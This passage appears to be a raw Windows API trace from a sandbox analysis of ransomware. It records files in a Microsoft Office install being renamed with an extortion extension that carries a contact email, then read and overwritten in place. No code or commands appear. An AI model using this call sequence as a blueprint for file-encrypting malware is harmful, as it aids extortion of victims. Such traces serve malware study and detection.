dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.694] CloseHandle (hObject=0x710) returned 1 [0146.694] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x140b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORGCHA~2.FIR")) returned 0x6d5540 [0146.695] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0146.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.695] GetProcessHeap () returned 0x630000 [0146.695] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a2230 [0146.695] GetProcessHeap () returned 0x630000 [0146.695] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71fa358 [0146.695] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.695] ReadFile (in: hFile=0x710, lpBuffer=0x72a2230, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a2230*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.439] GetProcessHeap () returned 0x630000 [0154.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0154.440] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.440] WriteFile (in: hFile=0x710, lpBuffer=0x71fa358*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fa358*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.440] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.440] WriteFile (in: hFile=0x710, lpBuffer=0x7205757*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7205757*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0154.440] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.440] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0154.440] CloseHandle (hObject=0x710) returned 1 [0154.440] GetProcessHeap () returned 0x630000 [0154.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71fa358 | out: hHeap=0x630000) returned 1 [0154.440] GetProcessHeap () returned 0x630000 [0154.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a2230 | out: hHeap=0x630000) returned 1 [0154.440] GetProcessHeap () returned 0x630000 [0154.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0154.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2200a291, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x140d6, dwReserved0=0xb407496, dwReserved1=0x72a2228, cFileName="ORGCHART.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORGCHA~2.FIR")) returned 0x6d52c0 [0154.540] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0154.540] Sleep (dwMilliseconds=0x1) [0154.548] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE", len=0x3c | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE") returned 1 [0154.548] GetProcessHeap () returned 0x630000 [0154.548] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b7c) returned 0x713f7f0 [0154.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0154.551] CloseHandle (hObject=0x6c0) returned 1 [0154.551] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACCICO~1.FIR")) returned 0x6d52c0 [0154.552] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0154.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0154.553] GetProcessHeap () returned 0x630000 [0154.553] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0154.553] GetProcessHeap () returned 0x630000 [0154.553] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0154.553] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.553] ReadFile (in: hFile=0x6c0, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.916] GetProcessHeap () returned 0x630000 [0162.916] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71771a0 [0162.916] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.916] WriteFile (in: hFile=0x6c0, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.917] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.917] WriteFile (in: hFile=0x6c0, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0162.918] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.919] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0162.919] CloseHandle (hObject=0x6c0) returned 1 [0162.919] GetProcessHeap () returned 0x630000 [0162.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0162.919] GetProcessHeap () returned 0x630000 [0162.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0162.919] GetProcessHeap () returned 0x630000 [0162.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71771a0 | out: hHeap=0x630000) returned 1 [0162.919] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0162.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x270de5ac, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x393a64, dwReserved0=0xb407496, dwReserved1=0x71c0040, cFileName="ACCICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACCICO~1.FIR")) returned 0x6d4f40 [0162.919] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0162.919] Sleep (dwMilliseconds=0x1) [0162.925] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll") returned 1 [0162.925] GetProcessHeap () returned 0x630000 [0162.925] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c0c) returned 0x707d3d0 [0162.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1051\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0162.926] CloseHandle (hObject=0x6b8) returned 1 [0162.926] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0162.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1051\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1051\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0162.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0162.927] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4e40 [0162.927] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0162.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1051\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0162.927] GetProcessHeap () returned 0x630000 [0162.928] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1c300 [0162.928] GetProcessHeap () returned 0x630000 [0162.928] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0162.928] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.928] ReadFile (in: hFile=0x6b8, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0167.029] GetProcessHeap () returned 0x630000 [0167.029] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177600 [0167.029] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.029] WriteFile (in: hFile=0x6b8, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0167.030] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.030] WriteFile (in: hFile=0x6b8, lpBuffer=0x6f11d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11d77*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0167.030] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.030] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0167.030] CloseHandle (hObject=0x6b8) returned 1 [0167.030] GetProcessHeap () returned 0x630000 [0167.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0167.030] GetProcessHeap () returned 0x630000 [0167.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0167.032] GetProcessHeap () returned 0x630000 [0167.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177600 | out: hHeap=0x630000) returned 1 [0167.032] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.032] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2981e85c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x114e4, dwReserved0=0xb407496, dwReserved1=0x6f1c2f8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4e40 [0167.032] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0167.032] Sleep (dwMilliseconds=0x1) [0167.855] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\PowerViewRes.lt.xap", len=0x65 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\PowerViewRes.lt.xap") returned 1 [0167.855] GetProcessHeap () returned 0x630000 [0167.855] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b6c) returned 0x707d3d0 [0167.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\PowerViewRes.lt.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lt\\powerviewres.lt.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0167.856] CloseHandle (hObject=0x68c) returned 1 [0167.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0167.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\PowerViewRes.lt.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lt\\powerviewres.lt.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\PowerViewRes.lt.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lt\\powerviewres.lt.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0167.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\PowerViewRes.lt.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x152a6704, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f98b, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.lt.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5340 [0167.858] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0167.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\PowerViewRes.lt.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lt\\powerviewres.lt.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0167.858] GetProcessHeap () returned 0x630000 [0167.858] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7118650 [0167.858] GetProcessHeap () returned 0x630000 [0167.858] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7123a80 [0167.858] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.858] ReadFile (in: hFile=0x68c, lpBuffer=0x7118650, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7118650*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.667] GetProcessHeap () returned 0x630000 [0176.668] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71774e8 [0176.668] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.669] WriteFile (in: hFile=0x68c, lpBuffer=0x7123a80*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7123a80*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.669] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.669] WriteFile (in: hFile=0x68c, lpBuffer=0x712ee7f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x712ee7f*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.671] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.671] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.671] CloseHandle (hObject=0x68c) returned 1 [0176.671] GetProcessHeap () returned 0x630000 [0176.671] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7123a80 | out: hHeap=0x630000) returned 1 [0176.990] GetProcessHeap () returned 0x630000 [0176.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7118650 | out: hHeap=0x630000) returned 1 [0176.990] GetProcessHeap () returned 0x630000 [0176.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71774e8 | out: hHeap=0x630000) returned 1 [0177.057] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.057] 